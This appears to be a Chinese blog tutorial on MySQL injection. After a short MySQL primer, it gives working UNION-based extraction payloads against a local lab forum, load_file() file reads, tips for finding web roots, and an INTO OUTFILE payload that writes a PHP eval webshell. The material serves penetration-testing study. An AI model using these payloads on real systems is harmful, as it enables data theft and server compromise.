mysql注入

Mysql介绍及操作

Mysql原理

Mysql读取和写入的妙用

1.Mysql介绍及操作

 

MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件。
MySQL是一种关系数据库管理系统,关系数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。
MySQL所使用的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策,分为社区版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。由于其社区版的性能卓越,搭配 PHP 和 Apache 可组成良好的开发环境。
常见的搭配LAMP+linux系统apache+mysql+php

windows上安装mysql的安装

Linux 上 mysql安装。yum -y install mysql-serve

常用的数据库操作;

show databases;查看有哪些数据库
use 数据库名;使用数据库
CREATE DATABASE 数据库名;创建数据库
drop database 数据库名;删除数据库
SELECT column_name,column_name
FROM table_name
[WHERE Clause]
[LIMIT N][ OFFSET M]

CREATE TABLE MYTABLES(name VARCHAR(20),sex CHAR(1));创建表

mysql函数

1:system_user() 系统用户名

2:user() 用户名

3:current_user 当前用户

4:session_user() 连接数据库用户名

5:database() 数据库名

6:version() mysql数据库版本

7:load_file() 转成16进制或者10进制mysql读取本地文件的函数

8:@@datadir 读取数据库路径

9:@@basedir  mysql安装路径

10:@@version_compile_os 操作系统

 


 

数据库结构对比

access数据库

A网站:adata.mdb

      表名(admin)

        列名字(user,pass)

            值

B网站:adata.mdb

      表名(admin)

        列名字(user,pass)

            值

mysql:

    A数据库

       表名(admin)

           列名字(user,pass)

            值

    B数据库

          表名(admin)

           列名字(user,pass)

            值

注入的原理

sql注入注入漏洞造成哪些危害?

网站数据库泄露,网站数据被修改,网站服务器被入侵。

sql注入原理分析

https://i.cnblogs.com/EditArticles.aspx?opt=1

构造sql语句 select * from tables where iopt=1 union select 

 

注入的判断方法

and 1=1 返回正常

and 1=2 返回不正常 存在注入

判断字段长度

order by xx

order by 21 正常, order by 22不正常,说明字段长度为21

获取到了长度以后使用联合查询

http://localhost/610/162100simplebbs/article.php?id=-1 UNION SELECT 1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
  information_schema;5.0以上版本自带数据库,它会记录当前mysql下所有数据库名,表明,列名信息
  information_schema.tables;记录表明信息的表
  information_schema.columns;记录列名信息的表
  table_name 表名字
  column_name 列名
  table_schema;数据库名
  数据库中的“.”代表下一级的意思

http://localhost/610/162100simplebbs/article.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
from information_schema.tables where table_schema='jian'
  上面语句代表获取jian数据库下的所有表信息。
获取表名下的列名信息
http://localhost/610/162100simplebbs/article.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
from information_schema.columns where table_name='bbslistdata'
获取列名下的字段记录
http://localhost/610/162100simplebbs/article.php?id=-1 UNION SELECT 1,group_concat(id,title),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
from bbslistdata

  

mysql4.0

sqlmap --sql-shell 

sql-shell>select load_file(' 绝对路径')

找到 表明列名,查出字段

Mysql读取和写入的妙用

load_file() 没权限方法

该函数是用来读取源文件的函数

只能读取绝对路径的网页文件

在使用load_file()时应先找到网站绝对路径

例如:d:/www/xx/xx/

注意:1,路径符号“\”错误“\\”正确“/”正确 2.转换16进制数,不要“ ‘ ’ ”

查找网站根路径

1.报错显示, 

2.谷歌黑客 (site:网址 wring

3.遗留文件 phpinfo info test php

4.漏洞爆路径(可以去网上搜索)

5.读取配置文件(找各个平台有不同的路径,例如:iis6.0 默认路径)

6.字典猜解

写入函数 into outfile

http://localhost/610/162100simplebbs/article.php?id=1 UNION SELECT 1,'<?php @eval($_POST['c']);?>',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 into outfile 'D:/phpStudy/WWW/610/162100simplebbs/111.txt'

 

posted @ 2018-11-26 21:58  Admpt  阅读(96)  评论(0)    收藏  举报